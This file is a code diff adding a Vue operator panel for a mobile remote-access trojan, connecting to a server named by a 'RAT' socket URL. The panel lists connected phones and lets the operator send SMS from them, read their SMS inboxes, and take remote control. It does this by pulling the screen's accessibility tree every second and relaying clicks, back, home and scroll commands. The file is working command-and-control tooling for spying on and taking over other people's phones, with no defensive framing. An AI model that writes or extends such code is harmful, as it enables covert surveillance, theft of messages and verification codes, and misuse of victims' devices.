|
|
@@ -0,0 +1,278 @@
|
|
|
+<template>
|
|
|
+ <div class="flex flex-col h-full">
|
|
|
+ <div class="mb-4">
|
|
|
+ <ElButton type="primary" @click="socket.value.emit('clients')">刷新</ElButton>
|
|
|
+ </div>
|
|
|
+ <ElTable :data="clients" class="flex-1" size="small">
|
|
|
+ <ElTableColumn prop="id" label="ID" show-overflow-tooltip></ElTableColumn>
|
|
|
+ <ElTableColumn prop="model" label="型号" show-overflow-tooltip></ElTableColumn>
|
|
|
+ <ElTableColumn prop="time" label="连接时间" :formatter="timeFormatter" width="180"></ElTableColumn>
|
|
|
+ <ElTableColumn label="操作" align="center" width="200">
|
|
|
+ <template v-slot="{ row }">
|
|
|
+ <ElButton size="small" @click="onSendSms(row)">发信</ElButton>
|
|
|
+ <ElButton size="small" @click="readSms(row)">读信</ElButton>
|
|
|
+ <ElButton size="small" @click="remoteControl(row)">远控</ElButton>
|
|
|
+ </template>
|
|
|
+ </ElTableColumn>
|
|
|
+ </ElTable>
|
|
|
+ </div>
|
|
|
+ <ElDialog width="500" title="发送短信" v-model="showSendSmsDialog">
|
|
|
+ <ElForm ref="sendSmsForm" :model="sendSmsModel" :rules="sendSmsRules" label-position="right" label-width="80px">
|
|
|
+ <ElFormItem label="手机号" prop="phone">
|
|
|
+ <ElInput v-model="sendSmsModel.phone" placeholder="请输入手机号"></ElInput>
|
|
|
+ </ElFormItem>
|
|
|
+ <ElFormItem label="内容" prop="message">
|
|
|
+ <ElInput v-model="sendSmsModel.message" placeholder="请输入内容"></ElInput>
|
|
|
+ </ElFormItem>
|
|
|
+ </ElForm>
|
|
|
+ <template #footer>
|
|
|
+ <ElButton @click="showSendSmsDialog = false">取消</ElButton>
|
|
|
+ <ElButton type="primary" @click="sendSms">发送</ElButton>
|
|
|
+ </template>
|
|
|
+ </ElDialog>
|
|
|
+ <ElDialog width="500px" title="短信列表" v-model="showSmsList">
|
|
|
+ <ElTable :data="smsList" stripe>
|
|
|
+ <ElTableColumn prop="type" label="类型" width="80" :formatter="typeFormatter"></ElTableColumn>
|
|
|
+ <ElTableColumn prop="address" label="手机号" show-overflow-tooltip></ElTableColumn>
|
|
|
+ <ElTableColumn prop="body" label="内容" show-overflow-tooltip></ElTableColumn>
|
|
|
+ <ElTableColumn prop="date" label="时间" :formatter="timeFormatter" width="180"></ElTableColumn>
|
|
|
+ </ElTable>
|
|
|
+ </ElDialog>
|
|
|
+
|
|
|
+ <ElDialog
|
|
|
+ :class="{ 'control-dialog': true, landscape: landscape }"
|
|
|
+ top="5vh"
|
|
|
+ title="远程控制"
|
|
|
+ v-model="showControlDialog"
|
|
|
+ @close="clearControlTimer"
|
|
|
+ append-to-body
|
|
|
+ :width="controlDialogWidth"
|
|
|
+ >
|
|
|
+ <div class="btns">
|
|
|
+ <ElButton :icon="ArrowNarrowLeft" @click="sendCmd('back')">返回</ElButton>
|
|
|
+ <ElButton :icon="Circle" @click="sendCmd('home')">桌面</ElButton>
|
|
|
+ <ElButton :icon="Copy" @click="sendCmd('recent')">任务</ElButton>
|
|
|
+ <ElButton :icon="ArrowBigUpLine" @click="sendCmd('scrollUp')">上滑</ElButton>
|
|
|
+ <ElButton :icon="ArrowBigDownLine" @click="sendCmd('scrollDown')">下滑</ElButton>
|
|
|
+ </div>
|
|
|
+ <div ref="canvasContainer" class="canvas-container flex">
|
|
|
+ <canvas ref="screenCanvas" @click="clickCanvas"></canvas>
|
|
|
+ </div>
|
|
|
+ </ElDialog>
|
|
|
+</template>
|
|
|
+<script setup>
|
|
|
+import { format } from 'date-fns'
|
|
|
+import { io } from 'socket.io-client'
|
|
|
+import { computed, onMounted, ref, render } from 'vue'
|
|
|
+import { ArrowNarrowLeft, Copy, Circle, ArrowBigUpLine, ArrowBigDownLine } from '@vicons/tabler'
|
|
|
+const clients = ref([])
|
|
|
+const socket = ref(null)
|
|
|
+const smsList = ref([])
|
|
|
+const showSmsList = ref(false)
|
|
|
+onMounted(() => {
|
|
|
+ socket.value = io(import.meta.env.VITE_RAT_SOCKET_URL)
|
|
|
+ socket.value.on('connect', () => {
|
|
|
+ console.log('connected')
|
|
|
+ socket.value.on('clients', (data) => {
|
|
|
+ console.log(data)
|
|
|
+ clients.value = data
|
|
|
+ })
|
|
|
+ socket.value.emit('clients')
|
|
|
+ })
|
|
|
+ socket.value.on('result', (args) => {
|
|
|
+ console.log(args)
|
|
|
+ switch (args.action) {
|
|
|
+ case 'sendSms':
|
|
|
+ break
|
|
|
+ case 'readSms':
|
|
|
+ if (args.from === selectedRow.value.id) {
|
|
|
+ smsList.value = args.data
|
|
|
+ }
|
|
|
+ break
|
|
|
+ case 'getScreen':
|
|
|
+ renderScreen(args)
|
|
|
+ break
|
|
|
+ }
|
|
|
+ })
|
|
|
+})
|
|
|
+
|
|
|
+function timeFormatter(row, column, cellValue, index) {
|
|
|
+ if (/^\d+$/.test(cellValue)) cellValue = parseInt(cellValue)
|
|
|
+ return format(new Date(cellValue), 'yyyy-MM-dd HH:mm:ss')
|
|
|
+}
|
|
|
+const selectedRow = ref(null)
|
|
|
+const sendSmsModel = ref({
|
|
|
+ phone: '',
|
|
|
+ message: ''
|
|
|
+})
|
|
|
+const sendSmsForm = ref(null)
|
|
|
+const sendSmsRules = {
|
|
|
+ number: [{ required: true, message: '请输入手机号', trigger: 'blur' }],
|
|
|
+ content: [{ required: true, message: '请输入内容', trigger: 'blur' }]
|
|
|
+}
|
|
|
+const showSendSmsDialog = ref(false)
|
|
|
+
|
|
|
+function onSendSms(row) {
|
|
|
+ selectedRow.value = row
|
|
|
+ sendSmsModel.value = {
|
|
|
+ phone: '',
|
|
|
+ message: ''
|
|
|
+ }
|
|
|
+ sendSmsForm.value?.clearValidate()
|
|
|
+ showSendSmsDialog.value = true
|
|
|
+}
|
|
|
+
|
|
|
+function sendCmd(action, data) {
|
|
|
+ socket.value.emit('sendCmd', {
|
|
|
+ to: selectedRow.value.id,
|
|
|
+ action,
|
|
|
+ data
|
|
|
+ })
|
|
|
+}
|
|
|
+
|
|
|
+async function sendSms() {
|
|
|
+ await sendSmsForm.value?.validate()
|
|
|
+ sendCmd('sendSms', {
|
|
|
+ phone: sendSmsModel.value.phone,
|
|
|
+ message: sendSmsModel.value.message
|
|
|
+ })
|
|
|
+ showSendSmsDialog.value = false
|
|
|
+}
|
|
|
+
|
|
|
+function readSms(row) {
|
|
|
+ selectedRow.value = row
|
|
|
+ smsList.value = []
|
|
|
+ showSmsList.value = true
|
|
|
+ sendCmd('readSms')
|
|
|
+}
|
|
|
+
|
|
|
+function typeFormatter(row, column, cellValue, index) {
|
|
|
+ return cellValue === '1' ? '接收' : '发送'
|
|
|
+}
|
|
|
+
|
|
|
+const showControlDialog = ref(false)
|
|
|
+let controlTimer = null
|
|
|
+function remoteControl(row) {
|
|
|
+ selectedRow.value = row
|
|
|
+ showControlDialog.value = true
|
|
|
+ controlTimer = setInterval(() => {
|
|
|
+ sendCmd('getScreen')
|
|
|
+ }, 1000)
|
|
|
+}
|
|
|
+function clearControlTimer() {
|
|
|
+ if (controlTimer) {
|
|
|
+ clearInterval(controlTimer)
|
|
|
+ controlTimer = null
|
|
|
+ }
|
|
|
+}
|
|
|
+const screenCanvas = ref(null)
|
|
|
+const landscape = ref(false)
|
|
|
+const canvasContainer = ref(null)
|
|
|
+const layout = ref('horizontal')
|
|
|
+const controlDialogWidth = ref('80%')
|
|
|
+function renderScreen(args) {
|
|
|
+ if (screenCanvas.value) {
|
|
|
+ const canvas = screenCanvas.value
|
|
|
+ const data = args.data
|
|
|
+ const width = data.bounds.right - data.bounds.left
|
|
|
+ const height = data.bounds.bottom - data.bounds.top
|
|
|
+ landscape.value = width > height
|
|
|
+ const ctx = canvas.getContext('2d')
|
|
|
+
|
|
|
+ canvas.width = data.bounds.right - data.bounds.left
|
|
|
+ canvas.height = data.bounds.bottom - data.bounds.top
|
|
|
+
|
|
|
+ let containerWidth, containerHeight
|
|
|
+ if (landscape.value) {
|
|
|
+ containerWidth = window.innerWidth * 0.8 - 40
|
|
|
+ containerHeight = window.innerHeight * 0.9 - 200
|
|
|
+ controlDialogWidth.value = '80%'
|
|
|
+ const fit = width / height > containerWidth / containerHeight ? 'width' : 'height'
|
|
|
+ if (fit === 'width') {
|
|
|
+ console.log('fit width')
|
|
|
+ layout.value = 'vertical'
|
|
|
+ canvas.style.width = containerWidth + 'px'
|
|
|
+ canvas.style.height = (height / width) * containerWidth + 'px'
|
|
|
+ } else {
|
|
|
+ console.log('fit height')
|
|
|
+ console.log(width, height, containerWidth, containerHeight)
|
|
|
+ layout.value = 'horizontal'
|
|
|
+ canvas.style.height = containerHeight + 'px'
|
|
|
+ canvas.style.width = (width / height) * containerHeight + 'px'
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ containerWidth = window.innerWidth * 0.8 - 40
|
|
|
+ containerHeight = window.innerHeight * 0.9 - 120
|
|
|
+ controlDialogWidth.value = (width / height) * containerHeight + 150 + 'px'
|
|
|
+
|
|
|
+ layout.value = 'horizontal'
|
|
|
+ canvas.style.height = containerHeight + 'px'
|
|
|
+ canvas.style.width = (width / height) * containerHeight + 'px'
|
|
|
+ }
|
|
|
+ ctx.clearRect(0, 0, width, height)
|
|
|
+ ctx.fillStyle = '#eeeeee'
|
|
|
+ ctx.fillRect(0, 0, width, height)
|
|
|
+ drawNode(ctx, data)
|
|
|
+ }
|
|
|
+ function drawNode(ctx, node) {
|
|
|
+ ctx.fillStyle = '#000000'
|
|
|
+ ctx.beginPath()
|
|
|
+ ctx.rect(
|
|
|
+ node.bounds.left,
|
|
|
+ node.bounds.top,
|
|
|
+ node.bounds.right - node.bounds.left,
|
|
|
+ node.bounds.bottom - node.bounds.top
|
|
|
+ )
|
|
|
+ ctx.stroke()
|
|
|
+ if (node.text) {
|
|
|
+ if (typeof node.text === 'object') {
|
|
|
+ node.text = node.text.mText
|
|
|
+ }
|
|
|
+ ctx.font = '40px sans-serif'
|
|
|
+ ctx.fillText(node.text, node.bounds.left, node.bounds.top, node.bounds.right - node.bounds.left)
|
|
|
+ }
|
|
|
+ if (node.children) {
|
|
|
+ for (let child of node.children) {
|
|
|
+ drawNode(ctx, child)
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|
|
|
+function clickCanvas(e) {
|
|
|
+ const x = e.offsetX * (screenCanvas.value.width / screenCanvas.value.clientWidth)
|
|
|
+ const y = e.offsetY * (screenCanvas.value.height / screenCanvas.value.clientHeight)
|
|
|
+ console.log(x, y)
|
|
|
+
|
|
|
+ sendCmd('click', { x, y })
|
|
|
+}
|
|
|
+</script>
|
|
|
+<style lang="less">
|
|
|
+.control-dialog {
|
|
|
+ .el-dialog__body {
|
|
|
+ padding: 20px;
|
|
|
+ display: flex;
|
|
|
+ .btns {
|
|
|
+ display: flex;
|
|
|
+ flex-direction: column;
|
|
|
+ .el-button {
|
|
|
+ margin-left: 0;
|
|
|
+ margin-bottom: 10px;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ &.landscape {
|
|
|
+ .el-dialog__body {
|
|
|
+ display: flex;
|
|
|
+ flex-direction: column;
|
|
|
+ .btns {
|
|
|
+ flex-direction: row;
|
|
|
+ .el-button {
|
|
|
+ margin-right: 20px;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ canvas {
|
|
|
+ }
|
|
|
+}
|
|
|
+</style>
|